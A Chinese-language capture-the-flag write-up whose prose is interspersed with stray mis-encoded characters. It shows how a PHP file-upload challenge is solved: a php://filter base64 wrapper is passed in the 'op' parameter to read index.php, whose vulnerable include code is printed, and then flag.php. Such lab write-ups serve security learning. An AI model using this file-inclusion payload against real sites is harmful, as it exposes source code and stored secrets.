打開網(wǎng)站糠睡,是一個上傳文件的網(wǎng)頁,那我們先按照要求上傳png文件試試疚颊,上傳圖片說打不開圖片狈孔,陷入迷茫信认。
那應(yīng)該不是靠一句話菜刀,因?yàn)楦炯虞d不出來均抽,我覺得不可能沒有php代碼嫁赏,于是在op后面構(gòu)造
op=index.php 提示我們不存在這樣的頁面 但事實(shí)是存在的
op=index 沒有出現(xiàn)提示 但頁面是空的
op=php://filter/read=convert.base64-encode/resource=index
結(jié)果得到
<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
? ? die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
? ? </div>
? ? <center>
<div id="footer">
<div>
<p>
<span>2017 © </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
? ? fatal('no such page');
?>
通過這個分析,大概懂了為什么文件加.php提醒沒有此頁面的原因油挥。
通過御劍后臺掃描掃描出后臺的信息潦蝇,有flag.php頁面,則
op=php://filter/read=convert.base64-encode/resource=flag
則獲得flag的base64加密后的數(shù)據(jù)深寥,進(jìn)行解密护蝶,獲得flag。